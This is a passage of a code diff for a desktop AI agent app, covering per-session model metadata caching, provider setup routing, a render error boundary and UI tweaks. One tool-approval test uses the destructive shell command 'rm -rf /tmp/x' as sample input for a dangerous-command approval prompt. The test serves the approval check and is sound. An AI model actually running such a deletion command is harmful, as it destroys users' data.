+    sessionState.model = info.model
   }
 
-  if (info.provider) {
+  if (typeof info.provider === 'string') {
     setCurrentProvider(info.provider)
+    sessionState.provider = info.provider
   }
 
   if (info.cwd) {
@@ -245,23 +298,29 @@ function applyRuntimeInfo(
   }
 
   if (typeof info.personality === 'string') {
-    setCurrentPersonality(normalizePersonalityValue(info.personality))
+    const personality = normalizePersonalityValue(info.personality)
+    setCurrentPersonality(personality)
+    sessionState.personality = personality
   }
 
   if (typeof info.reasoning_effort === 'string') {
     setCurrentReasoningEffort(info.reasoning_effort)
+    sessionState.reasoningEffort = info.reasoning_effort
   }
 
   if (typeof info.service_tier === 'string') {
     setCurrentServiceTier(info.service_tier)
+    sessionState.serviceTier = info.service_tier
   }
 
   if (typeof info.fast === 'boolean') {
     setCurrentFastMode(info.fast)
+    sessionState.fast = info.fast
   }
 
   if (typeof info.yolo === 'boolean') {
     setYoloActive(info.yolo)
+    sessionState.yolo = info.yolo
   }
 
   if (info.usage) {
@@ -271,6 +330,16 @@ function applyRuntimeInfo(
   return sessionState
 }
 
+function applyStoredSessionPreviewRuntimeInfo(stored: { model?: null | string } | undefined) {
+  setCurrentModel(stored?.model || '')
+  setCurrentProvider('')
+  setCurrentReasoningEffort('')
+  setCurrentServiceTier('')
+  setCurrentFastMode(false)
+  setYoloActive(false)
+  setCurrentPersonality('')
+}
+
 export function useSessionActions({
   activeSessionId,
   activeSessionIdRef,
@@ -314,10 +383,15 @@ export function useSessionActions({
       setTurnStartedAt(null)
       // New chats start in the configured default project dir when set,
       // otherwise the sticky last-used workspace (PR #37586).
+      setCurrentModel('')
+      setCurrentProvider('')
+      setCurrentReasoningEffort('')
+      setCurrentServiceTier('')
+      setCurrentFastMode(false)
+      setYoloActive(false)
       setCurrentCwd(workspaceCwdForNewSession())
       setCurrentBranch('')
-      clearComposerDraft()
-      clearComposerAttachments()
+      // Never clear the composer here — ChatBar's per-thread draft swap owns it.
       setFreshDraftReady(true)
     },
     [activeSessionIdRef, busyRef, navigate, selectedStoredSessionIdRef]
@@ -339,11 +413,13 @@ export function useSessionActions({
         // Pass the owning profile so a new chat under a non-launch profile (global
         // remote mode) builds its agent + persists against THAT profile's home/db.
         const newChatProfile = $newChatProfile.get()
+
         const created = await requestGateway<SessionCreateResponse>('session.create', {
           cols: 96,
           ...(cwd && { cwd }),
           ...(newChatProfile ? { profile: newChatProfile } : {})
         })
+
         const stored = created.stored_session_id ?? null
 
         if (
@@ -444,26 +520,42 @@ export function useSessionActions({
 
       // Swap the single live gateway to this session's profile before any
       // gateway call (no-op when it's already on that profile / single-profile).
-      const storedForProfile = $sessions.get().find(session => session.id === storedSessionId)
+      const storedForProfile = await resolveStoredSession(storedSessionId)
       const sessionProfile = storedForProfile?.profile
+
+      if (resumeRequestRef.current !== requestId) {
+        return
+      }
+
       await ensureGatewayProfile(sessionProfile)
 
       const cachedRuntimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
       const cachedState = cachedRuntimeId && sessionStateByRuntimeIdRef.current.get(cachedRuntimeId)
 
       if (cachedRuntimeId && cachedState) {
+        const stored = $sessions.get().find(session => session.id === storedSessionId)
+        const cachedViewState =
+          !cachedState.model && stored?.model != null
+            ? {
+                ...cachedState,
+                model: stored.model || ''
+              }
+            : cachedState
+
+        if (cachedViewState !== cachedState) {
+          sessionStateByRuntimeIdRef.current.set(cachedRuntimeId, cachedViewState)
+        }
+
         setFreshDraftReady(false)
         clearNotifications()
         setSelectedStoredSessionId(storedSessionId)
         selectedStoredSessionIdRef.current = storedSessionId
         setActiveSessionId(cachedRuntimeId)
         activeSessionIdRef.current = cachedRuntimeId
-        syncSessionStateToView(cachedRuntimeId, cachedState)
-        setCurrentCwd(cachedState.cwd)
-        setCurrentBranch(cachedState.branch)
+        syncSessionStateToView(cachedRuntimeId, cachedViewState)
+        setCurrentCwd(cachedViewState.cwd)
+        setCurrentBranch(cachedViewState.branch)
         setSessionStartedAt(Date.now())
-        clearComposerDraft()
-        clearComposerAttachments()
 
         try {
           const usage = await requestGateway<UsageStats>('session.usage', { session_id: cachedRuntimeId })
@@ -502,7 +594,8 @@ export function useSessionActions({
       setSelectedStoredSessionId(storedSessionId)
       selectedStoredSessionIdRef.current = storedSessionId
       setSessionStartedAt(Date.now())
-      const stored = $sessions.get().find(session => session.id === storedSessionId)
+      const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
+      applyStoredSessionPreviewRuntimeInfo(stored)
 
       if (stored) {
         setCurrentUsage(current => ({
@@ -593,8 +686,6 @@ export function useSessionActions({
           }),
           storedSessionId
         )
-        clearComposerDraft()
-        clearComposerAttachments()
       } catch (err) {
         if (!isCurrentResume()) {
           return
@@ -717,8 +808,6 @@ export function useSessionActions({
         selectedStoredSessionIdRef.current = routedSessionId
         navigate(sessionRoute(routedSessionId))
 
-        clearComposerDraft()
-        clearComposerAttachments()
         const runtimeInfo = applyRuntimeInfo(branched.info)
 
         patchSessionWorkspace(routedSessionId, runtimeInfo?.cwd)
@@ -755,7 +844,7 @@ export function useSessionActions({
     async (storedSessionId: string) => {
       clearNotifications()
 
-      const removed = $sessions.get().find(s => s.id === storedSessionId)
+      const removed = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
       const wasSelected = selectedStoredSessionId === storedSessionId
       const closingRuntimeId = wasSelected ? activeSessionId : null
       const previousMessages = $messages.get()
@@ -764,7 +853,7 @@ export function useSessionActions({
       // live tip after compression. Drop both so the pin can't linger.
       const removedPinId = removed ? sessionPinId(removed) : storedSessionId
 
-      setSessions(prev => prev.filter(s => s.id !== storedSessionId))
+      setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
       // Keep $sessionsTotal in sync so the sidebar's "Load N more" footer
       // doesn't keep claiming the removed row is still on the server.
       setSessionsTotal(prev => Math.max(0, prev - 1))
@@ -799,7 +888,7 @@ export function useSessionActions({
           setFreshDraftReady(false)
           setSelectedStoredSessionId(storedSessionId)
           selectedStoredSessionIdRef.current = storedSessionId
-          const stored = $sessions.get().find(session => session.id === storedSessionId)
+          const stored = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
 
           if (stored) {
             setCurrentUsage(current => ({
@@ -838,7 +927,7 @@ export function useSessionActions({
     async (storedSessionId: string) => {
       clearNotifications()
 
-      const archived = $sessions.get().find(s => s.id === storedSessionId)
+      const archived = $sessions.get().find(session => sessionMatchesStoredId(session, storedSessionId))
       const wasSelected = selectedStoredSessionId === storedSessionId
       const previousPinned = $pinnedSessionIds.get()
       // Pins are keyed on the durable lineage-root id; the stored id may be the
@@ -846,7 +935,7 @@ export function useSessionActions({
       const archivedPinId = archived ? sessionPinId(archived) : storedSessionId
 
       // Soft-hide: drop from the sidebar immediately, keep the data.
-      setSessions(prev => prev.filter(s => s.id !== storedSessionId))
+      setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
       // Archived sessions are hidden by the listSessions(min_messages=1) query
       // on the next refresh, so they count as "removed" for the load-more
       // footer math.
@@ -859,10 +948,16 @@ export function useSessionActions({
 
       try {
         await setSessionArchived(storedSessionId, true, archived?.profile)
+        // A sidebar refresh can race the optimistic removal while the PATCH is
+        // in flight and briefly reinsert the still-unarchived backend row. Win
+        // that race after the mutation succeeds so right-click → Archive does
+        // not appear to do nothing until the next full refresh.
+        setSessions(prev => prev.filter(session => !sessionMatchesStoredId(session, storedSessionId)))
+        $pinnedSessionIds.set($pinnedSessionIds.get().filter(id => id !== storedSessionId && id !== archivedPinId))
         notify({ durationMs: 2_000, kind: 'success', message: copy.archived })
       } catch (err) {
         if (archived) {
-          setSessions(prev => [archived, ...prev.filter(s => s.id !== storedSessionId)])
+          setSessions(prev => [archived, ...prev.filter(session => !sessionMatchesStoredId(session, storedSessionId))])
           setSessionsTotal(prev => prev + 1)
         }
 

apps/desktop/src/app/session/hooks/use-session-state-cache.test.tsx

@@ -2,7 +2,20 @@ import { act, cleanup, render } from '@testing-library/react'
 import type { MutableRefObject } from 'react'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
-import { $turnStartedAt, setTurnStartedAt } from '@/store/session'
+import {
+  $currentFastMode,
+  $currentModel,
+  $currentProvider,
+  $currentReasoningEffort,
+  $currentServiceTier,
+  $turnStartedAt,
+  setCurrentFastMode,
+  setCurrentModel,
+  setCurrentProvider,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setTurnStartedAt
+} from '@/store/session'
 
 import { useSessionStateCache } from './use-session-state-cache'
 
@@ -46,12 +59,22 @@ describe('useSessionStateCache — per-session turn timer', () => {
       return null as unknown as number
     })
     setTurnStartedAt(null)
+    setCurrentModel('')
+    setCurrentProvider('')
+    setCurrentReasoningEffort('')
+    setCurrentServiceTier('')
+    setCurrentFastMode(false)
   })
 
   afterEach(() => {
     cleanup()
     vi.restoreAllMocks()
     setTurnStartedAt(null)
+    setCurrentModel('')
+    setCurrentProvider('')
+    setCurrentReasoningEffort('')
+    setCurrentServiceTier('')
+    setCurrentFastMode(false)
   })
 
   it("keeps a background session's running turn clock and never mirrors it to the view", () => {
@@ -115,4 +138,78 @@ describe('useSessionStateCache — per-session turn timer', () => {
     })
     expect($turnStartedAt.get()).toBeNull()
   })
+
+  it('mirrors the focused session model metadata when switching from a cached session', () => {
+    let cache!: Cache
+    const { rerender } = render(
+      <Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
+    )
+
+    act(() => {
+      cache.updateSessionState(
+        'bg-runtime',
+        state => ({
+          ...state,
+          fast: true,
+          model: 'anthropic/claude-opus-4.8',
+          provider: 'anthropic',
+          reasoningEffort: 'high',
+          serviceTier: 'priority'
+        }),
+        'bg-stored'
+      )
+    })
+
+    // Background metadata is cached but must not bleed into the visible statusbar.
+    expect($currentModel.get()).toBe('')
+    expect($currentReasoningEffort.get()).toBe('')
+    expect($currentFastMode.get()).toBe(false)
+
+    rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
+
+    const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
+    expect(bgState).toBeTruthy()
+
+    act(() => {
+      cache.syncSessionStateToView('bg-runtime', bgState!)
+    })
+
+    expect($currentModel.get()).toBe('anthropic/claude-opus-4.8')
+    expect($currentProvider.get()).toBe('anthropic')
+    expect($currentReasoningEffort.get()).toBe('high')
+    expect($currentServiceTier.get()).toBe('priority')
+    expect($currentFastMode.get()).toBe(true)
+  })
+
+  it('clears stale model metadata when the newly focused session has no cached value', () => {
+    setCurrentModel('previous-model')
+    setCurrentProvider('previous-provider')
+    setCurrentReasoningEffort('high')
+    setCurrentServiceTier('priority')
+    setCurrentFastMode(true)
+
+    let cache!: Cache
+    const { rerender } = render(
+      <Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
+    )
+
+    act(() => {
+      cache.updateSessionState('bg-runtime', state => ({ ...state }), 'bg-stored')
+    })
+
+    rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
+
+    const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
+    expect(bgState).toBeTruthy()
+
+    act(() => {
+      cache.syncSessionStateToView('bg-runtime', bgState!)
+    })
+
+    expect($currentModel.get()).toBe('')
+    expect($currentProvider.get()).toBe('')
+    expect($currentReasoningEffort.get()).toBe('')
+    expect($currentServiceTier.get()).toBe('')
+    expect($currentFastMode.get()).toBe(false)
+  })
 })

apps/desktop/src/app/session/hooks/use-session-state-cache.ts

@@ -5,7 +5,21 @@ import type { ChatMessage } from '@/lib/chat-messages'
 import { preserveLocalAssistantErrors } from '@/lib/chat-messages'
 import { createClientSessionState } from '@/lib/chat-runtime'
 import { setMutableRef } from '@/lib/mutable-ref'
-import { $busy, $messages, noteSessionActivity, setSessionAttention, setSessionWorking, setTurnStartedAt } from '@/store/session'
+import {
+  $busy,
+  $messages,
+  noteSessionActivity,
+  setCurrentFastMode,
+  setCurrentModel,
+  setCurrentPersonality,
+  setCurrentProvider,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setSessionAttention,
+  setSessionWorking,
+  setTurnStartedAt,
+  setYoloActive
+} from '@/store/session'
 
 import type { ClientSessionState } from '../../types'
 
@@ -40,6 +54,16 @@ interface SessionStateCacheOptions {
   setMessages: (messages: ChatMessage[]) => void
 }
 
+function syncRuntimeMetadataToView(state: ClientSessionState) {
+  setCurrentModel(state.model ?? '')
+  setCurrentProvider(state.provider ?? '')
+  setCurrentReasoningEffort(state.reasoningEffort ?? '')
+  setCurrentServiceTier(state.serviceTier ?? '')
+  setCurrentFastMode(state.fast ?? false)
+  setYoloActive(state.yolo ?? false)
+  setCurrentPersonality(state.personality ?? '')
+}
+
 export function useSessionStateCache({
   activeSessionId,
   busyRef,
@@ -124,6 +148,7 @@ export function useSessionStateCache({
       setMessages(nextMessages)
     }
 
+    syncRuntimeMetadataToView(pending.state)
     setBusy(pending.state.busy)
     setMutableRef(busyRef, pending.state.busy)
     setAwaitingResponse(pending.state.awaitingResponse)
@@ -148,6 +173,7 @@ export function useSessionStateCache({
         return
       }
 
+      syncRuntimeMetadataToView(state)
       pendingViewStateRef.current = { sessionId, state }
 
       // Terminal / attention transitions (turn finished, error, or the agent is

apps/desktop/src/app/settings/model-settings.tsx

@@ -15,7 +15,7 @@ import type { AuxiliaryModelsResponse, ModelOptionProvider, StaleAuxAssignment }
 import { useI18n } from '@/i18n'
 import { AlertTriangle, Cpu, Loader2 } from '@/lib/icons'
 import { cn } from '@/lib/utils'
-import { startManualProviderOAuth } from '@/store/onboarding'
+import { startManualLocalEndpoint, startManualProviderOAuth } from '@/store/onboarding'
 
 import { CONTROL_TEXT } from './constants'
 import { ListRow, LoadingState, Pill, SectionHeading } from './primitives'
@@ -224,10 +224,23 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
   }, [apiKeyDraft, selectedProviderRow])
 
   // OAuth / external providers can't be activated with a pasted key — hand off
-  // to the shared onboarding flow scoped to this provider's real sign-in.
+  // to the shared onboarding flow scoped to this provider's real sign-in. The
+  // custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
+  // local-endpoint form (URL + optional API key) instead of being dead-ended
+  // on the OAuth picker (the original "booted back to the first screen" loop).
   const startProviderSetup = useCallback(() => {
-    if (selectedProviderRow?.slug) {
-      startManualProviderOAuth(selectedProviderRow.slug)
+    const slug = selectedProviderRow?.slug
+
+    if (!slug) {
+      return
+    }
+
+    const lower = slug.toLowerCase()
+
+    if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
+      startManualLocalEndpoint()
+    } else {
+      startManualProviderOAuth(slug)
     }
   }, [selectedProviderRow])
 

apps/desktop/src/app/settings/sessions-settings.tsx

@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
 
 import { Button } from '@/components/ui/button'
 import { Tip } from '@/components/ui/tooltip'
-import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
+import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
 import { useI18n } from '@/i18n'
 import { sessionTitle } from '@/lib/chat-runtime'
 import { triggerHaptic } from '@/lib/haptics'
@@ -43,14 +43,14 @@ export function SessionsSettings() {
     setLoading(true)
 
     try {
-      const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
+      const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
       setLocalSessions(result.sessions)
     } catch (err) {
       notifyError(err, s.failedLoad)
     } finally {
       setLoading(false)
     }
-  }, [])
+  }, [s.failedLoad])
 
   useEffect(() => {
     void load()

apps/desktop/src/app/shell/model-menu-panel.tsx

@@ -162,8 +162,9 @@ export function ModelMenuPanel({ gateway, onSelectModel, requestGateway }: Model
                   currentFastMode
                 )
 
-                // Grayed text: active row shows live state (Fast + effort);
-                // others show a fast-capability hint.
+                // Grayed text is live session state only. Do not label inactive
+                // rows as "Fast" just because they have a fast-capable sibling:
+                // that makes an off Fast toggle look like it is already on.
                 const meta = isCurrent
                   ? [
                       fastControl.kind !== 'none' && fastControl.on ? copy.fast : null,
@@ -171,9 +172,7 @@ export function ModelMenuPanel({ gateway, onSelectModel, requestGateway }: Model
                     ]
                       .filter(Boolean)
                       .join(' ')
-                  : caps?.fast || family.fastId
-                    ? copy.fast
-                    : ''
+                  : ''
 
                 // Every row is a hover-Edit submenu trigger. Activating it
                 // (pointer or keyboard) switches to the family's base model;

apps/desktop/src/app/types.ts

@@ -61,6 +61,26 @@ export interface SessionTitleResponse {
   session_key?: string
 }
 
+export interface HandoffRequestResponse {
+  queued?: boolean
+  session_key?: string
+  platform?: string
+  // Human-readable home channel name for the destination platform.
+  home_name?: string
+}
+
+export interface HandoffStateResponse {
+  // '' | 'pending' | 'running' | 'completed' | 'failed'
+  state?: string
+  platform?: string
+  error?: string
+}
+
+export interface HandoffFailResponse {
+  failed?: boolean
+  state?: string
+}
+
 export interface ExecCommandDispatchResponse {
   type: 'exec' | 'plugin'
   output?: string
@@ -103,6 +123,13 @@ export interface ClientSessionState {
   messages: ChatMessage[]
   branch: string
   cwd: string
+  model: string
+  provider: string
+  reasoningEffort: string
+  serviceTier: string
+  fast: boolean
+  yolo: boolean
+  personality: string
   busy: boolean
   awaitingResponse: boolean
   streamId: string | null

apps/desktop/src/components/assistant-ui/directive-text.tsx

@@ -63,7 +63,7 @@ export function directiveIconSvg(type: string) {
   return `<svg ${SVG_ATTRS} class="size-3 shrink-0 opacity-80">${inner}</svg>`
 }
 
-export function directiveIconElement(type: string) {
+function iconElementFromPaths(paths: string[]) {
   const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
   svg.setAttribute('class', 'size-3 shrink-0 opacity-80')
   svg.setAttribute('fill', 'none')
@@ -74,7 +74,7 @@ export function directiveIconElement(type: string) {
   svg.setAttribute('viewBox', '0 0 24 24')
   svg.setAttribute('xmlns', 'http://www.w3.org/2000/svg')
 
-  for (const d of iconPathsFor(type)) {
+  for (const d of paths) {
     const path = document.createElementNS('http://www.w3.org/2000/svg', 'path')
     path.setAttribute('d', d)
     svg.append(path)
@@ -83,6 +83,46 @@ export function directiveIconElement(type: string) {
   return svg
 }
 
+export function directiveIconElement(type: string) {
+  return iconElementFromPaths(iconPathsFor(type))
+}
+
+/** Per-type slash-command pill styling. The composer inserts these chips when a
+ *  command is picked; the kind drives a theme-aware accent so commands, skills,
+ *  and themes read distinctly (Cursor-style). */
+export type SlashChipKind = 'command' | 'skill' | 'theme'
+
+const SLASH_ICON_PATHS: Record<SlashChipKind, string[]> = {
+  command: ['M5 7l5 5l-5 5', 'M12 19l7 0'],
+  skill: ['M13 3l0 7l6 0l-8 11l0 -7l-6 0l8 -11'],
+  theme: [
+    'M3 21v-4a4 4 0 1 1 4 4h-4',
+    'M21 3a16 16 0 0 0 -12.8 10.2',
+    'M21 3a16 16 0 0 1 -10.2 12.8',
+    'M10.6 9a9 9 0 0 1 4.4 4.4'
+  ]
+}
+
+const SLASH_CHIP_VARIANT: Record<SlashChipKind, string> = {
+  command:
+    'bg-[color-mix(in_srgb,var(--ui-accent)_14%,transparent)] text-[color-mix(in_srgb,var(--ui-accent)_82%,var(--foreground))]',
+  skill:
+    'bg-[color-mix(in_srgb,var(--ui-warm)_18%,transparent)] text-[color-mix(in_srgb,var(--ui-warm)_82%,var(--foreground))]',
+  theme:
+    'bg-[color-mix(in_srgb,var(--ui-accent-secondary)_16%,transparent)] text-[color-mix(in_srgb,var(--ui-accent-secondary)_82%,var(--foreground))]'
+}
+
+export const SLASH_CHIP_BASE_CLASS =
+  'mx-0.5 inline-flex max-w-64 items-center gap-1 rounded px-1.5 py-0.5 align-middle text-[0.86em] font-medium leading-none'
+
+export function slashChipClass(kind: SlashChipKind): string {
+  return `${SLASH_CHIP_BASE_CLASS} ${SLASH_CHIP_VARIANT[kind]}`
+}
+
+export function slashIconElement(kind: SlashChipKind) {
+  return iconElementFromPaths(SLASH_ICON_PATHS[kind])
+}
+
 const DirectiveIcon: FC<{ type: string }> = ({ type }) => (
   <svg
     className="size-3 shrink-0 opacity-80"

apps/desktop/src/components/assistant-ui/message-render-boundary.test.tsx

@@ -0,0 +1,80 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { MessageRenderBoundary } from './message-render-boundary'
+
+afterEach(cleanup)
+
+function Boom({ error }: { error: Error | null }): null {
+  if (error) {
+    throw error
+  }
+
+  return null
+}
+
+const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
+
+describe('MessageRenderBoundary', () => {
+  it('renders children when nothing throws', () => {
+    render(
+      <MessageRenderBoundary resetKey="a">
+        <div>content</div>
+      </MessageRenderBoundary>
+    )
+
+    expect(screen.getByText('content')).toBeTruthy()
+  })
+
+  it('swallows the transient tapClientLookup out-of-bounds store race', () => {
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    const { container } = render(
+      <MessageRenderBoundary resetKey="a">
+        <Boom error={lookupError} />
+      </MessageRenderBoundary>
+    )
+
+    expect(container.innerHTML).toBe('')
+    spy.mockRestore()
+  })
+
+  it('recovers on the next consistent snapshot when resetKey changes', () => {
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    const { rerender } = render(
+      <MessageRenderBoundary resetKey="a">
+        <Boom error={lookupError} />
+      </MessageRenderBoundary>
+    )
+
+    rerender(
+      <MessageRenderBoundary resetKey="b">
+        <Boom error={null} />
+      </MessageRenderBoundary>
+    )
+
+    rerender(
+      <MessageRenderBoundary resetKey="b">
+        <div>recovered</div>
+      </MessageRenderBoundary>
+    )
+
+    expect(screen.getByText('recovered')).toBeTruthy()
+    spy.mockRestore()
+  })
+
+  it('re-throws unrelated errors so real bugs still surface', () => {
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    expect(() =>
+      render(
+        <MessageRenderBoundary resetKey="a">
+          <Boom error={new Error('genuine render bug')} />
+        </MessageRenderBoundary>
+      )
+    ).toThrow('genuine render bug')
+
+    spy.mockRestore()
+  })
+})

apps/desktop/src/components/assistant-ui/message-render-boundary.tsx

@@ -0,0 +1,48 @@
+import { Component, type ReactNode } from 'react'
+
+// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
+// throws — rather than returning undefined — when a subscriber reads an index
+// that the message/parts list no longer has. This races during high-frequency
+// store replacement (session switch mid-stream, gateway reconnect replay): a
+// subscriber from the previous, longer list is still in React's notification
+// queue and reads one slot past the new, shorter array before it can unmount.
+// The throw is transient and self-heals on the next consistent snapshot, but
+// without a local boundary it unwinds to the root and blanks the whole app.
+// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
+const isTransientLookupError = (error: unknown): boolean =>
+  error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
+
+interface Props {
+  // Changes whenever the message list mutates; remounting clears the caught
+  // error so the next consistent render recovers silently.
+  resetKey: string
+  children: ReactNode
+}
+
+export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
+  state: { error: Error | null } = { error: null }
+
+  static getDerivedStateFromError(error: Error) {
+    return { error }
+  }
+
+  componentDidUpdate(prev: Props) {
+    if (this.state.error && prev.resetKey !== this.props.resetKey) {
+      this.setState({ error: null })
+    }
+  }
+
+  render() {
+    if (this.state.error) {
+      // Only swallow the transient store race; re-throw anything else so real
+      // bugs still reach the root error boundary.
+      if (!isTransientLookupError(this.state.error)) {
+        throw this.state.error
+      }
+
+      return null
+    }
+
+    return this.props.children
+  }
+}

apps/desktop/src/components/assistant-ui/thread-virtualizer.tsx

@@ -16,6 +16,8 @@ import { setMutableRef } from '@/lib/mutable-ref'
 import { cn } from '@/lib/utils'
 import { setThreadScrolledUp } from '@/store/thread-scroll'
 
+import { MessageRenderBoundary } from './message-render-boundary'
+
 const ESTIMATED_ITEM_HEIGHT = 220
 const OVERSCAN = 4
 const AT_BOTTOM_THRESHOLD = 4
@@ -180,18 +182,20 @@ const VirtualizedThreadInner: FC<VirtualizedThreadProps> = ({
                     key={virtualItem.key}
                     ref={virtualizer.measureElement}
                   >
-                    {group.kind === 'turn' ? (
-                      <div
-                        className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
-                        data-slot="aui_turn-pair"
-                      >
-                        {group.indices.map(index => (
-                          <ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
-                        ))}
-                      </div>
-                    ) : (
-                      <ThreadPrimitive.MessageByIndex components={components} index={group.index} />
-                    )}
+                    <MessageRenderBoundary resetKey={messageSignature}>
+                      {group.kind === 'turn' ? (
+                        <div
+                          className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
+                          data-slot="aui_turn-pair"
+                        >
+                          {group.indices.map(index => (
+                            <ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
+                          ))}
+                        </div>
+                      ) : (
+                        <ThreadPrimitive.MessageByIndex components={components} index={group.index} />
+                      )}
+                    </MessageRenderBoundary>
                   </div>
                 )
               })}

apps/desktop/src/components/assistant-ui/thread.tsx

@@ -929,22 +929,42 @@ const SystemMessage: FC = () => {
   const slashStatus = text.match(SLASH_STATUS_RE)
 
   if (slashStatus?.groups) {
+    const output = slashStatus.groups.output.trim()
+    // Single-line status (e.g. "model → x") reads best centered inline; padded
+    // multiline output (catalogs, usage tables) needs left-aligned, wider room
+    // or the column alignment breaks.
+    const multiline = output.includes('\n')
+
     return (
       <MessagePrimitive.Root
-        className="max-w-[min(86%,44rem)] self-center px-2 py-0.5 text-center text-[0.6875rem] leading-5 text-muted-foreground/60"
+        className={cn(
+          'w-[60%] max-w-[44rem] self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/60',
+          multiline ? 'text-left' : 'text-center'
+        )}
         data-role="system"
         data-slot="aui_system-message-root"
       >
         <span className="font-mono text-muted-foreground/55">{slashStatus.groups.command}</span>
-        <span className="mx-1.5 text-muted-foreground/35">·</span>
-        <LinkifiedText className="whitespace-pre-wrap" explicitOnly pretty={false} text={slashStatus.groups.output.trim()} />
+        {multiline ? (
+          <LinkifiedText className="mt-0.5 block whitespace-pre-wrap" explicitOnly pretty={false} text={output} />
+        ) : (
+          <>
+            <span className="mx-1.5 text-muted-foreground/35">·</span>
+            <LinkifiedText className="whitespace-pre-wrap" explicitOnly pretty={false} text={output} />
+          </>
+        )}
       </MessagePrimitive.Root>
     )
   }
 
+  const multiline = text.includes('\n')
+
   return (
     <MessagePrimitive.Root
-      className="max-w-[min(86%,44rem)] self-center px-2 py-0.5 text-center text-[0.6875rem] leading-5 text-muted-foreground/55"
+      className={cn(
+        'w-[60%] max-w-[44rem] self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/55',
+        multiline ? 'text-left' : 'text-center'
+      )}
       data-role="system"
       data-slot="aui_system-message-root"
     >
@@ -1508,6 +1528,8 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
           >
             <div
               aria-label={copy.editMessage}
+              autoCapitalize="off"
+              autoCorrect="off"
               autoFocus
               className={cn(
                 'ui-prompt-input-editor__input max-h-48 w-full resize-none bg-transparent p-0 pr-7 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 outline-none',
@@ -1529,9 +1551,26 @@ const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }
               onPaste={handlePaste}
               ref={editorRef}
               role="textbox"
+              spellCheck={false}
               suppressContentEditableWarning
             />
-            <ComposerPrimitive.Input className="sr-only" tabIndex={-1} unstable_focusOnScrollToBottom={false} />
+            <ComposerPrimitive.Input
+              asChild
+              className="sr-only"
+              submitMode="ctrlEnter"
+              tabIndex={-1}
+              unstable_focusOnScrollToBottom={false}
+            >
+              <textarea
+                aria-hidden
+                autoCapitalize="off"
+                autoComplete="off"
+                autoCorrect="off"
+                className="sr-only"
+                spellCheck={false}
+                tabIndex={-1}
+              />
+            </ComposerPrimitive.Input>
             {staging && (
               <span
                 className="pointer-events-none absolute bottom-2 left-2 inline-flex items-center gap-1 rounded-full bg-background/80 px-1.5 py-0.5 text-[0.62rem] text-muted-foreground backdrop-blur-[1px]"

apps/desktop/src/components/assistant-ui/tool-approval.test.tsx

@@ -1,5 +1,5 @@
 import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
 
 import type { HermesGateway } from '@/hermes'
 import { $gateway } from '@/store/gateway'
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
 import { PendingToolApproval } from './tool-approval'
 import type { ToolPart } from './tool-fallback-model'
 
+// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
+// doesn't implement; stub them so the menu can open in tests.
+beforeAll(() => {
+  const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
+
+  const stubs: Record<string, () => unknown> = {
+    hasPointerCapture: () => false,
+    releasePointerCapture: () => undefined,
+    scrollIntoView: () => undefined,
+    setPointerCapture: () => undefined
+  }
+
+  for (const [name, fn] of Object.entries(stubs)) {
+    proto[name] ??= fn
+  }
+})
+
 function part(toolName: string): ToolPart {
   return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
 }
 
-function setRequest(command = 'rm -rf /tmp/x') {
+function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
   $activeSessionId.set('sess-1')
-  setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
